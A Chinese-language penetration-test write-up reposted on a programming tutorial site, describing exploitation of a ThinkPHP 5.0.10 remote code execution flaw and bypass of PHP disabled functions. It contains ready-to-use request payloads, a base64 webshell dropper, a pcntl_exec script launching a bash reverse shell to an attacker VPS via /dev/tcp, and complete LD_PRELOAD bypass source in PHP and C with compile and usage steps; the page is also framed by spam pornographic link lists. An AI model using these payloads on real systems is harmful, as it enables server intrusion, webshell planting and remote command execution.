国产片侵犯亲女视频播放_亚洲精品二区_在线免费国产视频_欧美精品一区二区三区在线_少妇久久久_在线观看av不卡

服務器之家:專注于服務器技術及軟件下載分享
分類導航

PHP教程|ASP.NET教程|Java教程|ASP教程|編程技術|正則表達式|C/C++|IOS|C#|Swift|Android|VB|R語言|JavaScript|易語言|vb.net|

服務器之家 - 編程語言 - PHP教程 - 一次項目中Thinkphp繞過禁用函數的實戰記錄

一次項目中Thinkphp繞過禁用函數的實戰記錄

2021-11-26 15:09天良 PHP教程

這篇文章主要給大家介紹了一次項目中Thinkphp繞過禁用函數的實戰記錄,文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友可以參考下

前言

在一次滲透測試中,手工找了許久沒發現什么東西,抱著嘗試的心情打開了xray

果然xray還是挺給力的,一打開網頁的時候xray直接就掃描出了thinkphp 5.0.10 rce漏洞

直接使用命令執行payload,結果報出system函數被禁用

?
1
s=whoami&_method=__construct&method=&filter[]=system

一次項目中Thinkphp繞過禁用函數的實戰記錄

嘗試應用其他函數進行利用,經過測試發現call_user_func函數沒有被禁用
payload

?
1
s=phpinfo&_method=__construct&method=get&filter[]=call_user_func

可以看到哪些函數被禁用了

一次項目中Thinkphp繞過禁用函數的實戰記錄

看到assert和include沒有被禁用,一開始想寫shell進日志然后去利用文件包含,發現并沒有任何反應,也不報錯。

file_put_contents

又回去看被禁用的函數,發現文件函數沒被禁用,可以用file_put_contents函數去寫文件
測試寫入phpinfo文件

?
1
s=file_put_contents('/www/wwwroot/public/phpinfo.php',base64_decode('pd9wahagjhbhc3m9jf9qt1nuwydhywfhj107zxzhbcgkcgfzcyk7pz4'))&_method=__construct&filter=assert

一次項目中Thinkphp繞過禁用函數的實戰記錄

寫入成功

一次項目中Thinkphp繞過禁用函數的實戰記錄

寫入冰蝎馬可以進行文件管理了

一次項目中Thinkphp繞過禁用函數的實戰記錄

雖然可以進行文件操作了,但還是沒法執行命令

一次項目中Thinkphp繞過禁用函數的實戰記錄

pcntl_exec

想到了比較容易被忽略的命令執行函數pcntl_exec,發現pcntl_exec函數沒有被禁用,該函數可以指定一個程序來執行指定文件

先寫一個exe.php文件,在文件中指定pcntl_exec的參數(執行運行程序,運行指定文件)

?
1
2
3
4
5
6
7
8
9
<?php
    switch (pcntl_fork()) {
        case 0:
            pcntl_exec('/bin/bash', ['/www/wwwroot/public/exec.sh']);
            exit(0);
        default:
            break;
    }
?>

exec.sh文件寫入反彈命令

?
1
bash -i >& /dev/tcp/vpsip/7777 0>&1

瀏覽器訪問exe.php成功反彈shell

一次項目中Thinkphp繞過禁用函數的實戰記錄

ld_preload 劫持

這次滲透是結束了,這里嘗試了另外一種繞過方法,如果遇到pcntl_exec函數也被禁用的情況,可以利用環境變量 ld_preload 劫持系統函數,讓外部程序加載惡意 *.so,達到執行系統命令的效果。詳細的原理介紹就不贅述了,可以參考這個大哥的文章https://www.meetsec.cn/index.php/archives/44/

這種方法主要是需要上傳一個.php和一個由.c程序編譯得到共享對象.so文件到服務器

bypass_disablefunc.php

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
    echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";
 
    $cmd = $_get["cmd"];
    $out_path = $_get["outpath"];
    $evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
    echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
 
    putenv("evil_cmdline=" . $evil_cmdline);
 
    $so_path = $_get["sopath"];
    putenv("ld_preload=" . $so_path);
 
    mail("", "", "", "");
 
    echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";
 
    unlink($out_path);
?>

bypass_disablefunc.php提供了三個參數:

  1. cmd 參數,待執行的系統命令(如 whoami)。
  2. outpath 參數,保存命令執行輸出結果的文件路徑(如 /www/wwwroot/public),便于在頁面上顯示,另外關于該參數,你應注意 web 是否有讀寫權限、web 是否可跨目錄訪問、文件將被覆蓋和刪除等幾點。
  3. sopath 參數,指定劫持系統函數的共享對象的絕對路徑(如 /www/wwwroot/bypass_disablefunc_x64.so),另外關于該參數,你應注意 web 是否可跨目錄訪問到它,最好也傳到web根目錄下。

bypass_disablefunc.c

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#define _gnu_source
 
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
 
 
extern char** environ;
 
__attribute__ ((__constructor__)) void preload (void)
{
    // get command line options and arg
    const char* cmdline = getenv("evil_cmdline");
 
    // unset environment variable ld_preload.
    // unsetenv("ld_preload") no effect on some
    // distribution (e.g., centos), i need crafty trick.
    int i;
    for (i = 0; environ[i]; ++i) {
            if (strstr(environ[i], "ld_preload")) {
                    environ[i][0] = '\0';
            }
    }
 
    // executive command
    system(cmdline);
}

這里需要用命令gcc -shared -fpic bypass_disablefunc.c -o bypass_disablefunc_x64.so將 bypass_disablefunc.c編譯為共享對象 bypass_disablefunc_x64.so

要根據目標架構編譯成不同版本,在 x64 的環境中編譯,若不帶編譯選項則默認為 x64,若要編譯成 x86 架構需要加上 -m32 選項。

可以在github上找到上述需要的文件
https://github.com/yangyangwithgnu/bypass_disablefunc_via_ld_preload

這里利用之前的文件管理冰蝎shell將php和so文件上傳到服務器web目錄
在瀏覽器訪問bypass_disablefunc.php傳入參數

?
1
http://www.xxx.com/bypass_disablefunc.php?cmd=ls&outpath=/www/wwwroot%20/public/1.txt&sopath=/www/wwwroot/public/bypass_disablefunc_x64.so

成功執行命令

一次項目中Thinkphp繞過禁用函數的實戰記錄

總結

到此這篇關于一次項目中thinkphp繞過禁用函數的文章就介紹到這了,更多相關thinkphp繞過禁用函數內容請搜索服務器之家以前的文章或繼續瀏覽下面的相關文章希望大家以后多多支持服務器之家!

原文鏈接:https://mp.weixin.qq.com/s/U3wUrp50SFPtvpzMwXcmhw

延伸 · 閱讀

精彩推薦
主站蜘蛛池模板: 午夜免费视频福利 | 久久久免费精品视频 | 黄色av网站免费 | 国产视频色 | av一区久久 | 日韩中文字幕一区 | 久久精国产| 欧美视频一区二区三区 | 欧美黄色a视频 | 国产日韩精品一区 | 韩日中文字幕 | 亚洲高清视频在线 | 午夜视频网站 | 色综合久久天天综合网 | 亚洲视频在线播放 | 国内久久精品 | 福利视频网 | 日韩成人在线电影 | 久久国产综合 | 亚洲精品国产乱码在线看蜜月 | 在线免费视频一区二区 | 国产日韩精品一区二区 | 国产黄色av| 精品亚洲综合 | 男人天堂亚洲 | 91xxx在线观看 | 久久国产精品久久精品国产演员表 | 日韩精品视频在线播放 | 亚洲人成在线播放 | 国产成人免费高清激情视频 | 天堂va在线高清一区 | 久久久久久成人 | 精品视频久久 | 中文字幕日韩欧美一区二区三区 | 亚洲在线精品 | 亚洲激情精品 | 亚洲毛片在线观看 | 99这里只有精品 | 中文精品一区二区 | 久久久综合网 | 在线一区视频 |